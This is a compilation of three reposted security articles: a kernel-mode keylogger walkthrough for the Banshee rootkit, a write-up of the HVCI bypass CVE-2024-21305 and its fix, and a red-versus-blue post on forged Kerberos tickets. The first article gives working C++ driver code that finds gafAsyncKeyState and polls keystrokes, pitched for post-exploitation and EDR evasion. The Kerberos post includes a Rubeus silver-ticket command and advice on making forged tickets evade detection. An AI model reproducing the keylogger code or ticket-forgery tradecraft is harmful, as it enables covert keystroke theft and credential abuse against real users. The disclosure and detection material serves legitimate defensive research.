Keylogging in the Windows Kernel with undocumented data structures

Keylogging in the Windows Kernel with undocumented data structures

Original test by eversinc33

If you are into rootkits and offensive windows kernel driver development, you have probably watched the talk Close Encounters of the Advanced Persistent Kind: Leveraging Rootkits for Post-Exploitation, by Valentina Palmiotti (@chompie1337) and Ruben Boonen (@FuzzySec), in which they talk about using rootkits for offensive operations. I do believe that rootkits are the future of post-exploitation and EDR evasion — EDR is getting tougher to evade in userland and Windows drivers are full of vulnerabilites which can be exploited to deploy rootkits. One part of this talk however particularly caught my interest: Around the 16 minute mark, Valentina talks about kernel mode keylogging. She describes the abstract process of how they achieve this in their rootkit as follows:

The basic idea revolves around 

gafAsyncKeyState
 (gaf = global af?), which is an undocumented kernel structure in 
win32kbase.sys
 used by 
NtUserGetAsyncKeyState
 (this structure exists up to Windows 10 — more on that at the end or in the talk linked above).

By first locating and then parsing this structure, we can read keystrokes the way that 

NtUserGetAsyncKeyState
 does, without calling any APIs at all.

As always, game cheaters have been ahead of the curve, since they have been battling in the kernel with anticheats for a long time. One thread explaining this technique dates back to 2019 for example.

In the talk, they also give the idea to map this memory into a usermode virtual address, to then poll this memory from a usermode process. I roughly implemented their approach, but skipped this memory mapping part, as in my rootkit Banshee (for now) I might as well read from the kernel directly. In this short post I want to give an idea about how I approached the implementation with the guideline from the talk.

Implementation

The first challenge is of course to locate 

gafAsyncKeyState
. Since the offset of 
gafAsyncKeyState
 in relation to 
win32kbase.sys
 base address is different across versions of Windows, we have to resolve it dynamically. One common technique is to look for a function that accesses it in some instruction, find that instruction and then read out the target address.

Signature scanning

We know that 

NtUserGetAsyncKeyState
 needs to access this array. We can verify this by looking at the disassembly of 
NtUserGetAsyncKeyState
 in IDA, and spot a reference to our target structure, next to a 
MOV rax qword ptr
 instruction.

This is the first 

MOV rax qword ptr
 since the beginning of the function — thus we can locate it by simply scanning for the first occurence of the bytes corresponding to that instruction (starting from the functions beginning) and reading the offset from the operand.

The 

MOV rax qword ptr
 instruction is represented in bytes as followed:

0x48 0x8B 0x05 ["32 bit offset"];

So if we find that pattern and extract the offset, we can calculate the address of our target structure 

gafAsyncKeyState
.

Code for finding such a pattern in C++ is simple. You (and I, lol) should probably write a signature scanning engine, since this is a common task in a rootkit that deals with dynamic offsets, but for now a naive implementation shall suffice. However, there is one more hurdle.

Session driver address space

If we try to access the memory of 

win32kbase
 with WinDbg attached to our kernel, we will see that (usually) we are not able to read the memory from that address.

This is because the 

win32kbase.sys
 driver is a session driver and operates in session space, a special area of system memory that is only readable through a process running in a session. This makes sense, as the keystrokes should be handled different for every user that has a session connected.

Thus, to access this memory, we will first have to attach to a process running in the target session. In WinDbg, this is possible with the 

!session
command. In our driver, we will have to call 
KeStackAttachProcess
, and afterwards, 
KeUnstackDetachProcess
.

A common process to choose is 

winlogon.exe
, as you can be sure it is always running and attached to a session. Another common choice seems to be 
csrss.exe
, but make sure to choose the right one, as only one of the two commonly running instances runs in a session context.

Putting it all together, here we have simple code to resolve the address of 

gafAsyncKeyState
. Error handling is omitted for brevity, and some functions (e.g. 
GetSystemRoutineAddress
LOG_MSG
 or 
GetPidFromProcessName
 are own implementations, but should be trivial to recreate and self-explanatory. Else you can look them up in Banshee):

PVOID Resolve_gafAsyncKeyState()
{
    KAPC_STATE apc;
    PVOID address = 0;
    PEPROCESS targetProc = 0;

    // Resolve winlogon's PID
    UNICODE_STRING processName;
    RtlInitUnicodeString(&processName, L"winlogon.exe");
    HANDLE procId = GetPidFromProcessName(processName); 
    PsLookupProcessByProcessId(procId, &targetProc);
        
    // Get Address of NtUserGetAsyncKeyState
    DWORD64 ntUserGetAsyncKeyState = (DWORD64)GetSystemRoutineAddress(Win32kBase, "NtUserGetAsyncKeyState");

    // Attach to winlogon.exe to enable reading of session space memory
    KeStackAttachProcess(targetProc, &apc);

    // Starting from NtUserGetAsyncKeyState, look for our byte signature
    for (INT i=0; i < 500; ++i)
    {
        if (
            *(BYTE*)(ntUserGetAsyncKeyState + i)     == 0x48 &&
            *(BYTE*)(ntUserGetAsyncKeyState + i + 1) == 0x8b &&
            *(BYTE*)(ntUserGetAsyncKeyState + i + 2) == 0x05
        )
        {
            // MOV rax qword ptr instruction found!
            // The 32bit param is the offset from the next instruction to the address of gafAsyncKeyState
            UINT32 offset = (*(PUINT32)(ntUserGetAsyncKeyState + i + 3));
            // Calculate the address: the address of NtUserGetAsyncKeyState + our current offset while scanning + 4 bytes for the 32bit parameter itself + the offset parsed from the parameter = our target address
            address = (PVOID)(ntUserGetAsyncKeyState + (i + 3) + 4 + offset); 
            break;
        }
    }

    LOG_MSG("Found address to gafAsyncKeyState at offset [NtUserGetAsyncKeyState]+%i: 0x%llx\n", i, address);

    // Detach from the process
    KeUnstackDetachProcess(&apc);
    
    ObDereferenceObject(targetProc);
    return address;
}

With the address of our structure of interest, we now just need to find out how we can parse it.

Parsing keystrokes

While I first started to reverse engineer 

NtUserGetAsyncKeyState
 in Ghidra, it came to my mind that folks way smarter than me already did that, and looked up the function in ReactOS.

Here, we can see how this function simply accesses the 

gafAsyncKeyState
 array with the 
IS_KEY_DOWN
 macro, to determine if a key is pressed, according to its Virtual Key-Code.

The 

IS_KEY_DOWN
 macro simply checks if the bit corresponding to the virtual key-code is set and returns 
TRUE
 if it is. So our structure, 
gafAsyncKeyState
, is simply an array of bits that correspond to the states of our keys.

All that is left now is to copy and paste these macros and implement some basic polling logic (what key is down, was it down last time, …).

// https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/win32ss/user/ntuser/input.h#L91
#define GET_KS_BYTE(vk) ((vk) * 2 / 8)
#define GET_KS_DOWN_BIT(vk) (1 << (((vk) % 4)*2))
#define GET_KS_LOCK_BIT(vk) (1 << (((vk) % 4)*2 + 1))
#define IS_KEY_DOWN(ks, vk) (((ks)[GET_KS_BYTE(vk)] & GET_KS_DOWN_BIT(vk)) ? TRUE : FALSE)
#define SET_KEY_DOWN(ks, vk, down) (ks)[GET_KS_BYTE(vk)] = ((down) ? \
                                                            ((ks)[GET_KS_BYTE(vk)] | GET_KS_DOWN_BIT(vk)) : \
                                                            ((ks)[GET_KS_BYTE(vk)] & ~GET_KS_DOWN_BIT(vk)))

UINT8 keyStateMap[64] = { 0 };
UINT8 keyPreviousStateMap[64] = { 0 };
UINT8 keyRecentStateMap[64] = { 0 };

VOID UpdateKeyStateMap(const HANDLE& procId, const PVOID& gafAsyncKeyStateAddr)
{
    // Save the previous state of the keys
    memcpy(keyPreviousStateMap, keyStateMap, 64);

    // Copy over the array into our buffer
    SIZE_T size = 0;
    MmCopyVirtualMemory(
        BeGetEprocessByPid(HandleToULong(procId)),
        gafAsyncKeyStateAddr,
        PsGetCurrentProcess(), 
        &keyStateMap,
        sizeof(UINT8[64]),
        KernelMode,
        &size
    );

    // for each keycode ...
    for (auto vk = 0u; vk < 256; ++vk) 
    {
        // ... if key is down but wasn't previously, set it in the recent-state-map as down
        if (IS_KEY_DOWN(keyStateMap, vk) && !(IS_KEY_DOWN(keyPreviousStateMap, vk)))
        {
            SET_KEY_DOWN(keyRecentStateMap, vk, TRUE);
        }
    }
}

BOOLEAN
WasKeyPressed(UINT8 vk)
{
    // Check if a key was pressed since last polling the key state
    BOOLEAN result = IS_KEY_DOWN(keyRecentStateMap, vk);
    SET_KEY_DOWN(keyRecentStateMap, vk, FALSE);
    return result;
}
    

Then, we can call 

WasKeyPressed
 at a regular interval to poll for keystrokes and process them in any way we like:

#define VK_A 0x41

VOID KeyLoggerFunction()
{
    while (true)
    {
        BeUpdateKeyStateMap(procId, gasAsyncKeyStateAddr);

        // POC: just check if A is pressed
        if (BeWasKeyPressed(VK_A))
        {
            LOG_MSG("A pressed\n");
        }

        // Sleep for 0.1 seconds
        LARGE_INTEGER interval;
        interval.QuadPart = -1 * (LONGLONG)100 * 10000; 
        KeDelayExecutionThread(KernelMode, FALSE, &interval);
    }
}

Logging a keystroke to the kernel debug log works as a simple PoC for the technique — whenever the 

A
 key is pressed, we get a debug log in WinDbg.

You can read the messy code at https://github.com/eversinc33/Banshee.

Some more things to do or look out for are:

  • Implement it for Windows >= 11 — the structure is the same, it just is named different and needs to be dereferenced a few times to reach the array
  • If you are interested, go with the approach mentioned by Valentina, with mapping the structure into usermode to read it from there

Happy Hacking!

Hunting down the HVCI bug in UEFI

Hunting down the HVCI bug in UEFI

Original text by Satoshi’s notes


This post was coauthored with Andrea Allievi (@aall86), a Windows Core OS engineer who analyzed and fixed the issue.


This post details the story and technical details of the non-secure Hypervisor-Protected Code Integrity (HVCI) configuration vulnerability disclosed and fixed with the January 9th update on Windows. This vulnerability, CVE-2024-21305, allowed arbitrary kernel-mode code execution, effectively bypassing HVCI within the root partition.

While analysis of the HVCI bypass bug alone can be interesting enough, I and Andrea found that the process of root causing and fixing it would also be fun to detail and decided to write this up together. The first half of this article was authored by me, and the second half was by Andrea. Readers can expect a great deal of Windows internals and x64 architecture details thanks to Andrea’s contribution!

Discovery to reporting

Discovery

The discovery of the bug was one of the by-products of hvext.js, the Windbg extension for studying the implementation of Hyper-V on Intel processors. With the extension, I dumped EPT on a few devices to better understand the implementation of HVCI, and one of them showed readable, writable, and kernel-mode executable (later referred to as RWX) guest physical addresses (GPAs). When HVCI is enabled, such GPAs should not exist as it would allow generation and execution of arbitrary code in kernel-mode. Eventually, out of 7 Intel devices I had, I found 3 devices with this issue, ranging from 6th to 10th generation processors.

Exploitation

Exploiting this issue for a verification purpose was trivial as the RWX GPAs did not change across reboot or when test-signing was enabled. I wrote the driver that remapped a choice of linear address onto one of RWX GPAs and placed shellcode there, and was able to execute the shellcode as expected! If HVCI were working as intended, the PoC driver would have failed to write shellcode and caused a bug check. For more details on the PoC, see the report on GitHub.

I asked Andrea about this and was told it could be a legit issue.

Partial root causing

I was curious why the issue was seen on only some devices and started to investigate what the RWX GPAs were.

Contents of those GPAs all seemed zero during runtime, and RamMap indicated it was outside NTOS-managed memory. I dumped memory during the Winload debug session, but they were still vastly zero. It was the same even during the UEFI shell phase.

At this point, I thought it might be UEFI-reserved regions. First, I realized that the RWX GPAs were parts of Reserved regions but did not exactly match, per the output of the 

memmap
 UEFI shell command. Shortly after, I discovered the regions exactly corresponded to the ranges reported by the Reserved Memory Region Reporting (RMRR) structure in the DMAR ACPI table.

I spent more time trying to understand why they were marked as RWX and why it occurred on only some machines. Eventually, I could not get the answers, but I was already reasonably satisfied with my findings and decided to hand this over to MSFT.

Reporting

I sent an initial write-up to Andrea, then, an updated one to MSRC a few days later. Though, it turned out that Andrea was the engineer in charge of this case. Such a small world.

Nothing much happened until mid-October when Andrea privately let me know he root caused and fixed it, and also offered to write up technical details from his perspective.

So the following is his write-up with a lot of technical details!

Technical details and fixes

Intel VT-x and its limitation

So what is the DMAR table and why was important in this bug?

To understand it we should take a step back and briefly introduce one of the first improvements of the Intel Virtualization Extension (Intel VT-x). Indeed, Intel VT-x was introduced back around the year 2004 and, in its initial implementation, it misses some parts of the technology that are currently used in modern Operating Systems (in 2023). In particular:

  1. The specifications did not include a hardware Stage-2 MMU able to perform the translation of the Guest physical addresses (GPAs) to System physical addresses (SPAs). First Hypervisors (like VmWare) were using a technique calling Memory Shadowing
  2. Similarly, the specification did not protect devices performing DMA to system memory addresses.

As the reader can imagine, this was not compatible with the Security standard required nowadays, so multiple “addendums” were added at the first implementation. While in this article we are not talking about #1 (plenty of articles are available online, like this one), we will give a short introduction and description of the Intel VT-d technology, which aims at protecting Device data transfer initiated via DMA.

Intel VT-d

Intel maintains the VT-d technology specifications at the following URL: https://www.intel.com/content/www/us/en/content-details/774206/intel-virtualization-technology-for-directed-i-o-architecture-specification.html

The document is updated quite often (at the time of this writing, we are at revision 4.1) and explains how an I/O memory management unit (IOMMU) can now protect devices to access memory that belongs to another VM or is reserved for the the host Hypervisor or OS.

A device can be exposed by the Hypervisor in different ways:

  • Emulated devices always cause a VMEXIT and they are emulated by a component in the Virtualization stack.
  • Paravirtualized devices are synthetic devices that communicate with the host device through a technology implemented in the Host Hypervisor (VmBus in case of HyperV).
  • Hardware accelerated devices are mapped directly in the VM. (readers who want to know more can check Chapter 9 of the Windows Internals book).

All the hardware devices are directly mapped in the root partition by the HV. To correctly support Hardware accelerated devices in a child VM the HV needs an IOMMU. But what exactly is an IOMMU? To be able to isolate and restrict device accesses to just the resource owned by the VM (or by the root partition), an IOMMU should provide the following capabilities:

  • I/O device assignment
  • DMA remapping to support address translations for Direct Memory Accesses (DMA) initiated by the devices
  • Interrupt remapping and posting for supporting isolation and routing of interrupts to the appropriate VM

DMA remapping

The DMA remapping capability is the feature related to the bug found in the Hypervisor. Indeed, to properly isolate DMA requests coming from hardware devices, an IOMMU must translate request coming from the endpoint device attached to the Root Complex (which, in its simplest form, a DMA request is composed of a target DMA address/size and originating device ID specified as Bus/Dev/Function — BDF) to its corresponding Host Physical Address (HPA).

Note that readers that do not know what a Root Complex is or how the PCI-Ex devices interact with the system memory bus can read the excellent article by Gbps located here (he told me that a part 2 is coming soon 🙂 ).

The IOMMU defines the Domain concept, such an isolated environment in the platform for which a subset of host physical memory is allocated (basically a bunch of isolated physical memory pages). The isolation property of a domain is achieved by blocking access to its physical memory from resources not assigned to it. Software creates and manages domains, allocates the backing physical memory (SPAs), and sets up the DMA address translation function using “Device-to-Domain Mapping” and “Hierarchical Address translation” structures.

Skipping a lot of details, both structures can be thought as “Special” page tables:

  • Device–to-Domain Mapping structures are addressed by the BDF of the source device. In the Intel manual this is called “Source ID” and yield backs the domain ID and the root Address Translation structures for the domain (yes, entries in this table are 128 bits indeed, and not 64).
  • Hierarchical Address translation structures are addressed by the source DMA address, which is treated as GPA, and outputs the final Host Physical address used as target for the DMA transfer.

The concepts above are described by the following figure (source: Intel Manual):

DMAR ACPI table and RMRR structure

The architecture defines that any IOMMU present in the system must be detected by the BIOS and announced via an ACPI table, called DMA Remapping Reporting (DMAR). The DMAR is composed of multiple remapping structures. For example, an IOMMU is reported with the DMA Remapping Unit Definition (DRHD) structure. Describing all of them is beyond the scope of this article.

What if a device always needs to perform DMA transfer with specific memory regions? Certain devices, like the Network controller, when used for debugging (for example in KDNET), or the USB controller, when used for legacy Keyboard emulation in the BIOS, should always be able to perform DMA both before and after setting up IOMMU. For these kinds of devices, the Reserved Memory Region Reporting (RMRR) structure is used by the BIOS to describe regions of memory where the DMA should always be possible.

Two important concepts described in the Intel manual regarding the RMRR structure:

  1. The BIOS should report physical memory described in the RMRR as Reserved in the UEFI memory map.
  2. When the OS enables DMA remapping, it should set up the Second-stage address translation structures for mapping the physical memory described by the RMRR using the “identity mapping” with read and write (RW) permission (meaning that GPA X is mapped to HPA X).

Interaction with Windows, and the bug

In some buggy machines, consideration #1 was not happening, meaning that neither the HV nor the Secure Kernel know about this memory range from the UEFI memory map.

When booting, the Hypervisor initializes its internal state, creates the Root partition (again, details are in the Windows Internals book) and performs the IOMMU initialization in multiple phases. On AMD64 machines, one of these phases requires parsing the RMRR. Note that the HV still has no idea whether the system will enable VBS/HVCI or not, so it has no options other than applying the full identity mapping to the range (which implies RWX protection).

When the Secure Kernel later starts and determines that HVCI should be enabled, it will set the new “default VTL permission” to be RW (but not Execute) and will inform the hypervisor by setting the public HvRegisterVsmPartitionConfig synthetic MSR (documented in the Hypervisor TLFS). When VTL 1 of the target partition sets the default VTL protection and writes to the HvRegisterVsmPartitionConfig MSR, it causes a VMEXIT to the Hypervisor, which cycles between each valid Guest physical frame described in the UEFI memory map and mapped in the VTL 0 SLAT, removing the “Execute” permission bit (as dictated by the “DefaultVtlProtectionMask” field of the synthetic register).

Mindful readers can already understand what is going wrong here. In buggy firmware, where the RMRR is not set in the UEFI memory map, leaves the “Execute” protection of the described region on, producing a HVCI violation (thanks Satoshi).

Fixes

MSFT has fixed (thanks Andrea) the issue working on two separate sides:

  1. Fixing the firmware in all the commercial devices MSFT released, forcing the RMRR memory region to be included in the UEFI memory map
  2. Implementing a trick in the HV. Since the architecture requires that the RMRR memory region must be mapped in the IOMMU (via the Hierarchical Address translation structures as described above) using identity map with RW access permission (but no X — Execute), we decided to perform some compatibility tests and see what happen if the HV protects all the initial PFNs for RMRR memory regions in the SLAT by stripping the X bit. Indeed, the OS always needs to read or write to those regions, so programming the SLAT is needed.

Tests for fix 2 worked and produced almost 0 compatibility issue, so MSFT decided also to increase the protection and remove the X permission on all RMRR memory region by default on ALL systems, also increasing the protection when the firmware is bugged.

Summary

Hope you enjoyed this jointly written post with both bug reporter’s and developer’s perspectives and a great deal of details on the interaction of VT-d and Hyper-V by Andrea.

To summarize, the combination of buggy UEFI that did not follow one of the requirements by the Intel VT-d specification and permissive default EPT configuration caused unintended RWX GPAs under HVCI. MSFT resolved the issue by correcting the default permission and their UEFI and released the fix on January 9. Not all devices are vulnerable to this issue. However, you may identify vulnerable devices by checking the 

memmap
 UEFI shell command not showing the exact RMRR memory regions as Reserved.

This repo contains the report and PoC of CVE-2024-21305, the non-secure Hypervisor-Protected Code Integrity (HVCI) configuration vulnerability. This vulnerability allowed arbitrary kernel-mode code execution, effectively bypassing HVCI, within the root partition. For the root cause, read the blog post coauthored with Andrea Allievi (@aall86), a Windows Core OS engineer who analyzed and fixed the issue.

The report in this repo is what I sent to MSRC, which contains the PoC and an initial analysis of the issue.

CVE-2024-21305

RED VS. BLUE: KERBEROS TICKET TIMES, CHECKSUMS, AND YOU!

RED VS. BLUE: KERBEROS TICKET TIMES, CHECKSUMS, AND YOU!

Original text by Andrew Schwartz in Incident ResponseIncident Response & ForensicsPenetration TestingPurple Team Adversarial Detection & CountermeasuresThreat Hunting

1    INTRODUCTION

At SANS Pen Test HackFest 2022, Charlie Clark (@exploitph) and I presented our talk ‘I’ve Got a Golden Twinkle in My Eye‘ whereby we built and demonstrated two tools that assist with more accurate detection of forged tickets being used. Although we demonstrated the tools, we stressed the message of focusing on the technique of decrypting tickets rather than the tools themselves.

As we dove into our research of building IOAs, we often found ourselves examining ticket times and checksums and were repeatedly surprised by the lack of information from both Red and Blue perspectives for the ticket times and the checksums of Kerberos tickets. As such, this post will provide a more in-depth background to explain their importance and how/why understanding them can better serve offensive and defensive operators.

2    TICKET TIMES

2.1      BACKGROUND OF TICKET TIMES

In Kerberos, each ticket contains three timestamps. These times govern the period for which the ticket is valid. The three times are: 

  • Start Time[1] – The time from which the ticket becomes usable
  • End Time – Calculated from the Start time and the time the ticket becomes unusable
  • Renew Time – Calculated from the Start time and the duration of renewal[2]

Both Blue and Red teams should be especially cognizant of the ‘End’ and ‘Renew’ times. The understood limits for these times are stored in the Kerberos Policy within the domain GPO. While it’s true that this policy determines the max values for these times, in many situations it is the account configuration and group membership that take a higher priority. It is important to know that the times discussed in the rest of this section define or calculate the maximum value for the relevant time and that a ticket can always be requested for a time before the maximum.

Within the Kerberos Policy there are three settings relevant to ticket times:

  • Maximum lifetime for a service ticket – the number of minutes from the Start Time that a service ticket’s End Time can be
  • Maximum lifetime for a user ticket – the number of hours from the Start Time that a TGT’s End Time can be
  • Maximum lifetime for user ticket renewal – the number of days from the Start Time that a TGT’s Renew Time can be

The following is a screenshot of the default values for these settings:

Figure 1 – Example of Default GPO Kerberos Policy and klist output

(The above screenshot is courtesy of Wendy Jiang of Microsoftanswering a question on Microsoft’s forum.)

2.1.1     TICKET TIMES AND THE PROTECTED USERS GROUP

In AD domains with at least one 2012+ Windows domain controller, there is a group called Protected Users that provides ‘enhanced security‘ through membership. The Protected Users group has multiple facets; however, the protection relevant to ticket times is that both End and Renew Times have their max values set to four hours, meaning the maximum for both times is the ticket Start Time + four hours. However, looking at the documentation, this is far from clear: 

Figure 2 – Microsoft’s Documentation on Domain Controller Protections for Protected Users

2.1.2     LOGON HOURS

Within AD, a feature exists to restrict when a user can or cannot log on. This can be configured individually on the user’s properties. The hours can be configured as either permitted or denied.

Figure 3 – Account Logon Hours Configuration Settings

Each block in this table represents an hour of the day, and this translates to a bit in the logonHoursattribute of that user account.

Figure 4 – Logon Hours Value in Hexadecimal

For tickets to the kadmin/changepw service, the End and Renew Times are two minutes after the Start Time.

2.2      TICKET TIMES FOR BLUE TEAMS

To detect a forged ticket, it is imperative for a Blue team to inspect the times associated with the ticket. This can greatly increase the chances of detecting anomalous activity. One of the most well-known IOAs associated with a Golden Ticket is the default End and Renew time of 10 years minus two days. A savvy attacker can easily employ OPSEC to avoid this IOA. However, we can still have great success in catching ‘smash and grab’ attackers. 

An interesting control Blue teams can employ is to create a higher priority policy than the Default Domain Policy and set the Kerberos Policy to non-default. As attackers generally only look at the Default Domain Policy for the times when forging tickets, it is likely many will miss the policy that takes a higher priority. It is important to note that the times need to be set lower and not higher than the Default Domain Policy, as tickets with times lower than the max values are still valid. Below, we have created a new policy and moved it to be the first position in the GPO link order.

Figure 6 – ‘Custom’ Policy in Link Order Position 1

Now, let’s look at our example user ironman and proceed to forge a Golden Ticket. (Note: For this demonstration, OPSEC is not employed.)

Figure 7 – Golden Ticket With Wrong Ticket Times

Looking at our Golden Ticket for ironman, we can clearly see that the EndTime and RenewTill times are wrong as they are based off the Default Domain Policy and not the ‘custom’ policy that was prioritized. In contrast, the screenshot below shows a genuine, initial TGT (#1) that has the End Time of nine hours after the Start Time, matching the new custom Kerberos Policy for user tickets, and a delegated TGT (#0) that has the End Time of eight hours and 20 minutes (or 500 minutes), matching the custom Kerberos Policy for service tickets. This also highlights the importance of making the service ticket lifetime different (lower) than the user ticket (TGT) lifetime. Both tickets have the new Renew Time of six days.

Figure 8 – Genuine Tickets With Times Based on ‘Custom’ Domain Policy

Our tool WonkaVison automates most of these checks but does not, at the time of this post, examine the correct order of GPO Policy or their priorities.

Tier-0 accounts with a greater level of privilege in a domain are often high-value targets (HVTs) for attackers. As such, the Blue team can add these users to the Protected Users group for enhanced protection features. Given that users within the Protected Users group have restricted ticket times, the Blue team can use this to detect forged tickets by attackers that do not take this into account. Note: Per the official Microsoft Documentation, service and computer accounts “…should never be members of the Protected Users group”. It is also good security practice to ensure these accounts are not highly privileged.  

Additionally, the Blue team can use AD’s feature of restricting logonHours to their advantage. By enabling, tracking, and alerting, a user attempting to log on during a restricted time can be an IOA of an attacker, as it may be anomalous, using a compromised account.

It is important to note that the restriction of logonHours will not prevent the actual usage of the Golden Ticket. However, it will prevent the ability to request an initial TGT (ASKTGT).

Figure 9 – ASKTGT With Error KDC_ERR_CLIENT_REVOKED

If we check our Windows EVTX logs filtering on Kerberos events (generally EIDs: 4768 and 4769), we get the following event:

Figure 10 – 4768 Event With KDC_ERR_CLIENT_REVOKED

Most notably, Ticket Encryption Type (0xFFFFFFFF) translates to This type shows in Audit Failure events, and the Failure Code (0x12) resolves to KDC_ERR_CLIENT_REVOKED. From a deterrence point of view, we can see the benefit of this control. However, from a detection/hunt/DFIR point of view, this event by itself would not have high fidelity in catching an attacker, as it would most likely be prevalent in most organizations. Granted, as the event does have the source IP address in question, the event can be correlated with EID 5156, as shown by Jonathan Johnson’s (@jsecurity101research.

2.3      TICKET TIMES FOR RED TEAMS

As previously discussed, the Protected Users group provides added security controls to its members to boost IAM. By enumerating its members, an attacker can identify which users are restricted and can then tailor forged tickets to blend in more normally within the restricted operating times, making it harder for defenders to identify anomalous activity. 

As noted, the logonHours attribute is in raw bytes and is not easily human readable as a result. An attacker or Red teamer reading this attribute prior to forging a ticket can be extremely beneficial for evading detection when attempting to compromise another (e.g., lateral movement) asset. Charlie Clark’s fork of PowerView automatically converts the logonHours attribute to a more readable form.

Figure 11 – Logon Hours by User Enumerated via Charlie Clark’s Fork of PowerView

As we can see in the above screenshot, the user ironman is restricted from logging on during the hours of 2300 – 0300 on Thursdays. This means that if the domain policy for the End and Renew Times of the ticket is longer than the next time where logon is restricted, then these will become the new End and Renew times.

The Red team should be aware of when a user can log on, because if they use a forged ticket during a user’s restricted hours, the Blue team could use a Windows Event ID 4769 to see if a service ticket was successfully requested. A logon during a restricted time would be anomalous as this would not be possible during normal operations. 

Additionally, the Red team can enumerate the Kerberos Domain Policy. This can be performed with a recent commit Charlie Clark made to his fork of PowerView.

Figure 12 – Charlie Clark’s PowerView Get-DomainGPOStaus cmdlet

Here, not only is the GPO priority shown for the given organizational unit (OU) but also the various statuses of the GPO. This function, however, does not consider inheritance, but for this particular usage, that should not be an issue. By knowing this information, we can then calculate the correct values and pass them to Rubeus manually when forging a ticket.

Note: Charlie Clark also has a function Get-RubeusForgeryArgs within PowerView that automates the calculation of the ticket times. However, for the user ironman, the reason Get-RubeusForgeryArgs has not added the EndTime and RenewTill arguments is that, at the time of execution, ironman is not allowed to log on as specified by the logonHours. Because ironman is also not a member of the Protected Users group, Get-RubeusForgeryArgs has defaulted back to the Kerberos Policy, and since it only looks at the Default Domain Policy, which is set to defaults, it hasn’t added the arguments.

Figure 13 – Domain User With Restricted logonHours

Using Get-RubeusForgeryArgs against a regular user, the script has not taken into account the higher priority GPO Policy that was created above and incorrectly calculates the times to be the defaults, thus leaving the arguments out again.

Figure 14 – Regular Domain Admin

Get-RubeusForgeryArgs correctly calculates the End and Renew Times for the user thor, a member of the Protected Users group.

Figure 15 – User ‘thor’ in Protected Users Group

3    CHECKSUMS

3.1      BACKGROUND OF CHECKSUMS

Another key part of the ticket that caught our eye during our research was the Checksums. There are several types of checksums stored in the ticket, depending on the type of ticket. These checksums are there to prevent the ticket from manipulation. One thing to keep in mind for the next sections is that the words Checksum and Signature are used interchangeably.

Originally, there were two checksums (Server and KDC). As a result of the Bronze Bit Attack, Microsoft implemented the Ticket Checksum. More recently, Microsoft implemented the FullPAC Checksum as a result of CVE-2022-37967.

Microsoft’s documentation on PAC_SIGNATURE_DATA, which is the name of the structure within the PAC where a checksum and its type are stored, can be found here.

3.2      TYPES OF CHECKSUMS

3.2.1     SERVER CHECKSUM

The Server Checksum is generated by the KDC and covers the PAC with the Server and KDC Checksum signatures ‘zeroed’ out (each byte of the signature buffer set to zero). The key that is used to encrypt the ticket is also used to create the checksum.

Microsoft’s documentation on the Server Signature can be found here.

3.2.2     KDC CHECKSUM

The KDC Checksum protects the Server Checksum and is signed by the KRBTGT key.

Microsoft’s documentation on the KDC Signature can be found here.

3.2.3     TICKET CHECKSUM

The Ticket Checksum was introduced to protect the encrypted part of the ticket from modification. The Bronze Bit attack took advantage of the fact that, for an S4U2Self ticket, the requesting account could decrypt the ticket, modify the encrypted part, re-encrypt it, and use the ticket. The Ticket Checksum covers the encrypted part of the ticket with the PAC set to 0 (a single byte set to zero).

Microsoft’s documentation on the Ticket Signature can be found here.

3.2.4     FULLPAC CHECKSUM

The FullPAC Checksum was introduced to protect the PAC from an RC4 attack. As a result, Microsoft released an OOB patch in the November 2022 patches. As it stands, this signature is in audit mode until October 2023 when Microsoft will begin automatic enforcement of this signature. Interestingly, as of writing this blog post, this signature has not been documented on Microsoft’s website.

Figure 16 – List of Kerberos Checksums Documented From Microsoft

The FullPAC Checksum is essentially the same as the Server Checksum but signed with the KRBTGTkey. So, it covers the whole PAC with the Server and KDC Checksums zeroed out.

Note: Ticket and FullPAC Checksums are not present in TGTs or referrals. They are only present in service tickets.

For the next two sections, we are mainly going to focus on service tickets and referrals. The reason for this is that local TGTs are protected by the KRBTGT key and therefore only contain the Server and KDC Checksums, which are both signed with the KRBTGT key. If an attacker can forge a TGT, then they can also sign both checksums correctly. However, this is not the case for service tickets and referrals. While genuine referrals lack the Ticket and FullPAC Checksums, the KDC Checksum is still signed with the KRBTGT key while the trust key is used for the Server Checksum and ticket encryption.

3.3      CHECKSUMS FOR BLUE TEAMS

For the Blue team, having the ability to gain telemetry into the PAC to view the checksums is a significant indicator that a forged ticket has been created and most likely used. To help identify forged tickets via the use of checksums, we have created the ‘Charlie Checksum Verification Test’.

In this example, I have supplied the following command to Rubeus to generate a Silver Ticket:

Rubeus.exe silver /aes256:<aes256_key> /ldap /user:thor /service:cifs/asgard-wrkstn.marvel.local /nowrap

Our terminal output will show the following, noting that the ServiceKey and the KDCKey are the same.

Figure 17 – Rubeus Silver Ticket Creation Without krbkey

If we describe our Silver Ticket and use the ServiceKey and the actual KRBTGT key via the /krbkeyparameter, we can verify any checksum that has been signed with the KRBTGT key (i.e., the KDC, Ticket, and FullPAC Checksums). We will see in the next screenshot that these checksums are INVALID. This indicates, but does not solidify or confirm, that the service ticket is forged. The exception being that the KRBTGT key may have been rotated since the creation of the service ticket, further checks would be required to determine this.

igure 18 – Rubeus Describe of Silver Ticket With Actual KRBTGT Key

It would be better for the Blue team to first check with the ServiceKey as the /krbkey. If that matches, then you have a forged ticket!

Figure 19 – Rubeus Description of Silver Ticket With ServiceKey as KRBTGT Key

3.4      CHECKSUMS FOR RED TEAMS

All four checksums have been implemented into Rubeus, with the last being merged with this PR. However, this is currently not the case with the main branches of Mimikatz and Impacket.

Part of the Red team’s greatest weapon in their arsenal is the employment of OPSEC. The more similar a forged ticket is to a genuine ticket, the more difficult it is to detect.

The advantage of using Rubeus for Silver Ticket creation is the ability to pass the /krbkey, which will then be used to sign any checksum that is normally signed by the KRBTGT key. To best avoid detection, a Red teamer should use the real KRBTGT key. However, if one does not have the real KRBTGT key, a false one can be easily passed to Rubeus, which has a higher likelihood of avoiding detection than using the ServiceKey.

4    CONCLUSION

Our main purpose of this post, while this information is not ‘new’ or ‘revolutionary’, is to show how an intimate understanding of normal operations can help both Blue and Red teams in detection and OPSEC, respectively.

While gaining access to the encrypted part of Kerberos tickets may be a challenge for Blue teams, the importance of doing so for detection cannot be emphasized more. However, while it is not possible to review the checksums without decrypting the tickets, the ticket times are more easily accessible through commands like 

klist
 or the underlying call to LSA that 
klist
 makes use of.e

